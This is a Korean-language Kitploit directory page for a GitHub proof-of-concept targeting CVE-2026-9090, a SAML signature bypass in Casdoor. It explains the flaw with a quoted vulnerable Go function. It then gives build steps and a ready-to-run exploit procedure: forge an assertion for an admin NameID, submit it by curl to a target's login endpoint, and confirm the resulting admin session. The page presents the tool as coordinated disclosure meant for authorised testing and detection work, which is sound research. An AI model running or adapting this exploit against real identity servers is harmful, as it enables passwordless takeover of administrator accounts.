Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-9090-poc — CVE-2026-9090 — Casdoor SAML 서명 우회(CWE-347)용 PoC. 재현 전용; CERT/CC VU#780781을 통해 조율됨. | Kitploit
도구/GitHubGitHub/kimdir01/cve-2026-9090-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

CVE-2026-9090 — Casdoor SAML 서명 우회(CWE-347)용 PoC. 재현 전용; CERT/CC VU#780781을 통해 조율됨.

저장소 보기
5일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-9090 — Casdoor SAML 서명 우회 (PoC)

CVE-2026-9090(CWE-347, 암호화 서명의 부적절한 검증)에 대한 개념 증명(PoC)으로, Casdoor ID 플랫폼의 인증 우회 취약점입니다.

출처. CVE-2026-9090은 CERT/CC가 공개·조정했습니다 — VU#780781을 참조하세요. 이 저장소는 이미 공개된 취약점에 대한 독립적, 재현 전용 개념 증명이며, 해당 이슈의 발견을 주장하지 않습니다.

취약점

Casdoor가 POST /api/acs에서 SAML 응답을 처리할 때(외부 SAML 공급자를 통한 로그인), buildSpCertificateStore 함수는 ID 공급자에 등록된 인증서 대신 수신된 SAML 응답 자체에 포함된 <X509Certificate>에서 서명 신뢰 앵커를 구성합니다.

root@kitploit:~
// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

신뢰 앵커가 응답에서 가져오기 때문에, 공격자는 자체 서명된 인증서로 SAML 어서션에 서명하고 해당 인증서를 응답에 포함시키면, 서명이 그 자체에 대해 검증됩니다. NameID를 기존 사용자로 설정하면 해당 계정으로 확인됩니다 — 관리자인 경우 공격자는 관리자 세션을 획득합니다. 비밀번호는 필요 없습니다.

  • 영향 버전: Casdoor <= 2.362.0
  • 수정 버전: 이후 릴리스는 등록된 provider.IdP로만 스토어를 구성합니다. (buildSpCertificateStore(provider *Provider)가 더 이상 응답을 읽지 않음). 최신 릴리스로 업그레이드하세요.
  • 분류: CWE-347 — 자기 참조적 신뢰 앵커.

이 PoC가 수행하는 작업

forge_saml.go는 일회용 자체 서명 키로 서명된 어서션을 포함하는 완전한 SAML Response를 생성하며, 해당 키의 인증서가 <ds:KeyInfo><ds:X509Certificate>에 포함됩니다. Casdoor가 사용하는 것과 동일한 goxmldsig 라이브러리를 사용하므로 정규화 및 서명 형식이 그대로 수용됩니다.

빌드

root@kitploit:~
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

사용법

root@kitploit:~
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP, ORG, SAML_PROVIDER는 각각 애플리케이션 이름, 조직, 그리고 해당 애플리케이션에 바인딩된 SAML 공급자입니다. Casdoor 애플리케이션의 등록 정보(바인딩된 공급자 포함)는 /api/get-application?id=admin/<name>에서 확인할 수 있습니다.

책임 있는 사용

이 PoC는 수정되었고 공개된 취약점에 대해 방어적 테스트, 탐지 엔지니어링, 연구 목적으로 게시되었습니다. 테스트가 승인된 시스템에서만 실행하세요. 올바른 해결 방법은 buildSpCertificateStore가 등록된 공급자 인증서에 대해 검증하는 릴리스로 Casdoor를 업그레이드하는 것입니다.

참고 자료

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

라이선스

MIT — LICENSE 파일을 참조하세요.

도구 다운로드